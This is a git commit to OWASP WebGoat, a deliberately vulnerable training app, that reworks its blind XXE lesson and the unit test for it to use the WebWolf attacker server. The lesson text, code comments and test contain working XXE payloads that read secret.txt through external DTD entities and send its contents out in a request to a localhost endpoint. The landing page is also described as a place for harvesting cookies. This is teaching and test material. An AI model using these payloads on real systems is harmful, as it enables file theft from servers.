Updated XXE lesson so it also uses WebWolf

This commit is contained in:
Nanne Baars 2017-10-07 13:46:34 +02:00
parent 94caba7eb1
commit 8a982dedb5
13 changed files with 180 additions and 100 deletions

View File

@ -29,6 +29,10 @@ webgoat.database.driver=org.hsqldb.jdbcDriver
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER} webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
webgoat.default.language=en webgoat.default.language=en
webwolf.port=8081
webwolf.url=http://localhost:${webwolf.port}/WebWolf
webworf.url.landingpage=http://localhost:${webwolf.port}/landing
spring.jackson.serialization.indent_output=true spring.jackson.serialization.indent_output=true
spring.jackson.serialization.write-dates-as-timestamps=false spring.jackson.serialization.write-dates-as-timestamps=false

View File

@ -1 +1 @@
webgoat.user.directory=/tmp/ webgoat.user.directory=${java.io.tmpdir}

View File

@ -4,10 +4,10 @@ import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.client.RestTemplate;
import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
@ -21,7 +21,8 @@ import java.net.URISyntaxException;
@AssignmentPath("/WebWolf/landing") @AssignmentPath("/WebWolf/landing")
public class LandingAssignment extends AssignmentEndpoint { public class LandingAssignment extends AssignmentEndpoint {
private RestTemplate restTemplate = new RestTemplate(); @Value("${webworf.url.landingpage}")
private String landingPageUrl;
@PostMapping @PostMapping
@ResponseBody @ResponseBody
@ -37,7 +38,7 @@ public class LandingAssignment extends AssignmentEndpoint {
public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException { public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException {
URI uri = new URI(request.getRequestURL().toString()); URI uri = new URI(request.getRequestURL().toString());
ModelAndView modelAndView = new ModelAndView(); ModelAndView modelAndView = new ModelAndView();
modelAndView.addObject("webwolfUrl", uri.getScheme() + "://" + uri.getHost() + ":8081"); modelAndView.addObject("webwolfUrl", landingPageUrl);
modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName())); modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName()));
modelAndView.setViewName("webwolfPasswordReset"); modelAndView.setViewName("webwolfPasswordReset");

View File

@ -1,6 +1,6 @@
== Landing page == Landing page
This page will show all the requests made to '/' or '/challenge'. This means This page will show all the requests made to '/landing/**'. This means
you can use WebWolf as your landing page for harvesting cookies etc which you can use WebWolf as your landing page for harvesting cookies etc which
is helpful when you perform a XSS lesson. is helpful when you perform a XSS lesson.

View File

@ -15,5 +15,13 @@
<artifactId>commons-lang</artifactId> <artifactId>commons-lang</artifactId>
<version>2.6</version> <version>2.6</version>
</dependency> </dependency>
<dependency>
<groupId>com.github.tomakehurst</groupId>
<artifactId>wiremock</artifactId>
<version>2.8.0</version>
<scope>test</scope>
</dependency>
</dependencies> </dependencies>
</project> </project>

View File

@ -1,17 +1,13 @@
package org.owasp.webgoat.plugin; package org.owasp.webgoat.plugin;
import com.beust.jcommander.internal.Lists;
import com.google.common.base.Joiner;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import org.apache.commons.io.FileUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.MediaType; import org.springframework.http.MediaType;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestMethod;
@ -19,10 +15,8 @@ import org.springframework.web.bind.annotation.ResponseBody;
import javax.annotation.PostConstruct; import javax.annotation.PostConstruct;
import java.io.File; import java.io.File;
import java.io.FileOutputStream;
import java.nio.file.Files; import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
import java.nio.file.Paths;
import java.util.List;
/** /**
* ************************************************************************************************ * ************************************************************************************************
@ -56,46 +50,47 @@ import java.util.List;
@AssignmentPath("xxe/blind") @AssignmentPath("xxe/blind")
public class BlindSendFileAssignment extends AssignmentEndpoint { public class BlindSendFileAssignment extends AssignmentEndpoint {
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
@Value("${webgoat.user.directory}") @Value("${webgoat.user.directory}")
private String webGoatHomeDirectory; private String webGoatHomeDirectory;
@Autowired @Autowired
private Comments comments; private Comments comments;
@Autowired
private WebSession webSession;
@PostConstruct @PostConstruct
@SneakyThrows @SneakyThrows
public void copyFile() { public void createSecretFileWithRandomContents() {
ClassPathResource classPathResource = new ClassPathResource("secret.txt");
File targetDirectory = new File(webGoatHomeDirectory, "/XXE"); File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
if (!targetDirectory.exists()) { if (!targetDirectory.exists()) {
targetDirectory.mkdir(); targetDirectory.mkdir();
} }
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "secret.txt"))); FileUtils.write(new File(targetDirectory, "secret.txt"), CONTENTS);
} }
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE) @RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody @ResponseBody
public AttackResult addComment(@RequestBody String commentStr) throws Exception { public AttackResult addComment(@RequestBody String commentStr) throws Exception {
String error = "Parsing successful contents not send to attacker"; //Solution is posted as a separate comment
if (commentStr.contains(CONTENTS)) {
return trackProgress(success().build());
}
try { try {
Comment comment = comments.parseXml(commentStr); Comment comment = comments.parseXml(commentStr);
comments.addComment(comment, false); comments.addComment(comment, false);
} catch (Exception e) { } catch (Exception e) {
error = e.toString(); return trackProgress(failed().output(e.toString()).build());
}
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
List<String> lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
if (solved) {
logFile.delete();
return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
} else {
return trackProgress(failed().output(error).build());
} }
return trackProgress(failed().build());
} }
/**
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY % remote SYSTEM "http://localhost:8081/files/admin2/attack.dtd">
%remote;
]>
<comment> <text>test&send;</text></comment>
**/
/** /**
* Solution: * Solution:
* *
@ -104,14 +99,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
* <pre> * <pre>
* <?xml version="1.0" encoding="UTF-8"?> * <?xml version="1.0" encoding="UTF-8"?>
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt"> * <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>"> * <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/ping?text=%file;'>">
* %all; * %all;
* </pre> * </pre>
* *
* This will be reduced to: * This will be reduced to:
* *
* <pre> * <pre>
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'> * <!ENTITY send SYSTEM 'http://localhost:8081/ping?text=[contents_file]'>
* </pre> * </pre>
* *
* Wire it all up in the xml send to the server: * Wire it all up in the xml send to the server:
@ -119,7 +114,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
* <pre> * <pre>
* <?xml version="1.0"?> * <?xml version="1.0"?>
* <!DOCTYPE root [ * <!DOCTYPE root [
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd"> * <!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/test.dtd">
* %remote; * %remote;
* ]> * ]>
* <user> * <user>

View File

@ -1,39 +1,30 @@
== Blind XXE == Blind XXE
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page. In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
Or the resource you are trying to read contains illegal XML character which causes the parser to fail. Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
Let's start with an example, in this case we reference a external DTD which we control on our own server. Let's start with an example, in this case we reference an external DTD which we control on our own server.
Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This can be any server under your control.* As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
[source]
----
curl -i http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld
will result in:
GET curl/7.45.0 HelloWorld
----
at the server side.
How do we use this endpoint to verify whether we can perform XXE? How do we use this endpoint to verify whether we can perform XXE?
In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
[source] [source]
---- ----
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld'> <!ENTITY ping SYSTEM 'http://localhost:8081/ping?text=HelloWorld'>
---- ----
Now submit the form and change the xml to: Now submit the form change the xml using to:
[source] [source]
---- ----
<?xml version="1.0"?> <?xml version="1.0"?>
<!DOCTYPE root [ <!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/XXE/attack.dtd"> <!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/attack.dtd">
%remote; %remote;
]> ]>
<comment> <comment>
@ -41,16 +32,24 @@ Now submit the form and change the xml to:
</comment> </comment>
---- ----
Now if we check our server log we will see: Now in WebWolf browse to 'Incoming requests' and you will see:
[source] [source]
---- ----
GET Java/1.8.0_101 HelloWorld {
"method" : "GET",
"path" : "/ping",
"headers" : {
"request" : {
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
},
},
"parameters" : {
"test" : [ "HelloWorld" ],
},
"timeTaken" : "1"
}
---- ----
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
we are basically able to reach the same effect as we did in the beginning with the curl command. we are basically able to reach the same effect as we did in the beginning with the curl command.
[NOTE]
In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will
of course be a host fully under the attackers control.

View File

@ -1,10 +1,23 @@
== Blind XXE assignment == Blind XXE assignment
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your
For Linux: `/home/USER/.webgoat/XXE/secret.txt`, for Windows this would be `c:/Users/USER/.webgoat/XXE/secret.txt` DTD.
If you use the Docker based WebGoat environment this file is located here: `/root/.webgoat/XXE/secret.txt`
Try to upload this file using the following endpoint: `http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]` (NOTE: this endpoint is under your full control)
You can login to the Docker container as follows: `docker exec -i -t <<name>> /bin/bash` |===
|OS |Location
|Linux
|`/home/USER/.webgoat/XXE/secret.txt`
|Windows
|`c:/Users/USER/.webgoat/XXE/secret.txt`
|Docker
|`/home/webgoat/.webgoat/XXE/secret.txt`
|===
Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]`
(NOTE: this endpoint is under your full control)
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.

View File

@ -1,8 +1,11 @@
package org.owasp.webgoat.plugin; package org.owasp.webgoat.plugin;
import com.google.common.io.Files; import com.github.tomakehurst.wiremock.client.WireMock;
import com.github.tomakehurst.wiremock.junit.WireMockRule;
import com.github.tomakehurst.wiremock.verification.LoggedRequest;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.junit.Before; import org.junit.Before;
import org.junit.Rule;
import org.junit.Test; import org.junit.Test;
import org.junit.runner.RunWith; import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest; import org.owasp.webgoat.plugins.LessonTest;
@ -14,7 +17,9 @@ import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders; import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File; import java.io.File;
import java.util.List;
import static com.github.tomakehurst.wiremock.client.WireMock.*;
import static org.assertj.core.api.Assertions.assertThat; import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.when; import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
@ -32,13 +37,14 @@ public class BlindSendFileAssignmentTest extends LessonTest {
@Value("${webgoat.user.directory}") @Value("${webgoat.user.directory}")
private String webGoatHomeDirectory; private String webGoatHomeDirectory;
@Rule
public WireMockRule webwolfServer = new WireMockRule(8081);
@Before @Before
public void setup() throws Exception { public void setup() throws Exception {
XXE xxe = new XXE(); XXE xxe = new XXE();
when(webSession.getCurrentLesson()).thenReturn(xxe); when(webSession.getCurrentLesson()).thenReturn(xxe);
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
if (logFile.exists()) logFile.delete();
when(webSession.getUserName()).thenReturn("unit-test"); when(webSession.getUserName()).thenReturn("unit-test");
} }
@ -65,26 +71,39 @@ public class BlindSendFileAssignmentTest extends LessonTest {
@Test @Test
public void solve() throws Exception { public void solve() throws Exception {
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd"); File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"file:///" + webGoatHomeDirectory + "/XXE/secret.txt\">\n" + "<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" + "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
"%all;"; "%all;";
Files.write(dtd.getBytes(), file); webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
String xml = "<?xml version=\"1.0\"?>\n" + .willReturn(aResponse()
"<!DOCTYPE root [\n" + .withStatus(200)
"<!ENTITY % remote SYSTEM \"file://" + file.getAbsolutePath() + "\">\n" + .withBody(dtd)));
"%remote;\n" + webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
"]>\n" + String xml = "<?xml version=\"1.0\"?>" +
"<comment>\n" + "<!DOCTYPE comment [" +
" <text>test&send;</text>\n" + "<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
"</comment>"; "%remote;" +
"]>" +
"<comment><text>test&send;</text></comment>";
//Call with XXE injection
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind") mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content(xml)) .content(xml))
.andDo(MockMvcResultHandlers.print()) .andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()) .andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved")))) .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
.andExpect(jsonPath("$.output", CoreMatchers.containsString("WebGoat 8 rocks...")));
List<LoggedRequest> requests = findAll(getRequestedFor(urlMatching("/landing.*")));
assertThat(requests.size()).isEqualTo(1);
String text = requests.get(0).getQueryParams().get("text").firstValue();
//Call with retrieved text
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>" + text + "</text></comment>"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
} }
} }

View File

@ -3,6 +3,7 @@ package org.owasp.webwolf;
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.ObjectMapper;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.owasp.webwolf.requests.WebWolfTraceRepository; import org.owasp.webwolf.requests.WebWolfTraceRepository;
import org.owasp.webwolf.user.UserRepository;
import org.owasp.webwolf.user.WebGoatUserToCookieRepository; import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
import org.springframework.boot.SpringApplication; import org.springframework.boot.SpringApplication;
import org.springframework.boot.actuate.trace.TraceRepository; import org.springframework.boot.actuate.trace.TraceRepository;
@ -25,8 +26,8 @@ import javax.jms.ConnectionFactory;
public class WebWolf extends SpringBootServletInitializer { public class WebWolf extends SpringBootServletInitializer {
@Bean @Bean
public TraceRepository traceRepository(WebGoatUserToCookieRepository repository) { public TraceRepository traceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
return new WebWolfTraceRepository(repository); return new WebWolfTraceRepository(repository, userRepository);
} }
@Override @Override

View File

@ -0,0 +1,24 @@
package org.owasp.webwolf.requests;
import lombok.extern.slf4j.Slf4j;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseStatus;
import javax.servlet.http.HttpServletRequest;
@Controller
@Slf4j
@RequestMapping("/landing/**")
public class LandingPage {
@RequestMapping(method = { RequestMethod.POST, RequestMethod.GET, RequestMethod.DELETE, RequestMethod.PATCH, RequestMethod.PUT})
@ResponseStatus(HttpStatus.OK)
public void ok(HttpServletRequest request) {
log.trace("Incoming request for: {}", request.getRequestURL());
}
}

View File

@ -6,6 +6,7 @@ import com.google.common.cache.LoadingCache;
import com.google.common.collect.Lists; import com.google.common.collect.Lists;
import com.google.common.collect.Maps; import com.google.common.collect.Maps;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.owasp.webwolf.user.UserRepository;
import org.owasp.webwolf.user.WebGoatUser; import org.owasp.webwolf.user.WebGoatUser;
import org.owasp.webwolf.user.WebGoatUserCookie; import org.owasp.webwolf.user.WebGoatUserCookie;
import org.owasp.webwolf.user.WebGoatUserToCookieRepository; import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
@ -18,6 +19,7 @@ import java.net.HttpCookie;
import java.util.*; import java.util.*;
import java.util.concurrent.ConcurrentLinkedDeque; import java.util.concurrent.ConcurrentLinkedDeque;
import static java.util.Optional.empty;
import static java.util.Optional.of; import static java.util.Optional.of;
/** /**
@ -38,9 +40,11 @@ public class WebWolfTraceRepository implements TraceRepository {
} }
}); });
private final WebGoatUserToCookieRepository repository; private final WebGoatUserToCookieRepository repository;
private final UserRepository userRepository;
public WebWolfTraceRepository(WebGoatUserToCookieRepository repository) { public WebWolfTraceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
this.repository = repository; this.repository = repository;
this.userRepository = userRepository;
} }
@Override @Override
@ -58,18 +62,27 @@ public class WebWolfTraceRepository implements TraceRepository {
@Override @Override
public void add(Map<String, Object> map) { public void add(Map<String, Object> map) {
Optional<String> host = getFromHeaders("host", map); Optional<String> host = getFromHeaders("host", map);
Optional<String> referer = getFromHeaders("referer", map); String path = (String) map.getOrDefault("path", "");
if (host.isPresent() && referer.orElse("").contains("WebGoat")) { if (host.isPresent() && path.contains("/landing/")) {
Optional<String> cookie = getFromHeaders("cookie", map); Optional<String> cookie = getFromHeaders("cookie", map);
cookie.ifPresent(c -> { Optional<String> user = cookie.isPresent() ? findUserBasedOnCookie(cookie.get()) : getLoggedInUser();
Optional<String> user = findUserBasedOnCookie(c); user.ifPresent(u -> {
user.ifPresent(u -> { ConcurrentLinkedDeque<Trace> traces = this.cookieTraces.getUnchecked(u);
ConcurrentLinkedDeque<Trace> traces = this.cookieTraces.getUnchecked(u); traces.addFirst(new Trace(new Date(), map));
traces.addFirst(new Trace(new Date(), map)); cookieTraces.put(u, traces);
cookieTraces.put(u, traces);
});
}); });
//No user found based on cookie and logged in user, so add the trace to all users
//In case of XXE no cookie will be send we cannot retrieve who is logged in.
//Standalone this is ok, in a challenge you need to make sure the solution or secret the users need to
//fetch is unique
if (!user.isPresent()) {
List<WebGoatUser> users = this.userRepository.findAll();
users.forEach(u -> {
ConcurrentLinkedDeque<Trace> traces = this.cookieTraces.getUnchecked(u.getUsername());
traces.addFirst(new Trace(new Date(), map));
cookieTraces.put(u.getUsername(), traces);
});
}
} }
} }
@ -80,13 +93,16 @@ public class WebWolfTraceRepository implements TraceRepository {
Optional<WebGoatUserCookie> userToCookie = repository.findByCookie(cookie.getValue()); Optional<WebGoatUserCookie> userToCookie = repository.findByCookie(cookie.getValue());
Optional<String> user = userToCookie.map(u -> u.getUsername()); Optional<String> user = userToCookie.map(u -> u.getUsername());
if (!user.isPresent()) { return user;
//User is maybe logged in to WebWolf use this user }
Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) { private Optional<String> getLoggedInUser() {
WebGoatUser wg = (WebGoatUser) authentication.getPrincipal(); Optional<String> user = empty();
user = of(wg.getUsername()); //User is maybe logged in to WebWolf use this user
} Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
WebGoatUser wg = (WebGoatUser) authentication.getPrincipal();
user = of(wg.getUsername());
} }
return user; return user;
} }

View File

@ -1,6 +1,6 @@
server.error.include-stacktrace=always server.error.include-stacktrace=always
server.error.path=/error.html server.error.path=/error.html
server.session.timeout=600 server.session.timeout=6000
#server.contextPath=/WebWolf #server.contextPath=/WebWolf
server.port=8081 server.port=8081
server.session.cookie.name = WEBWOLFSESSION server.session.cookie.name = WEBWOLFSESSION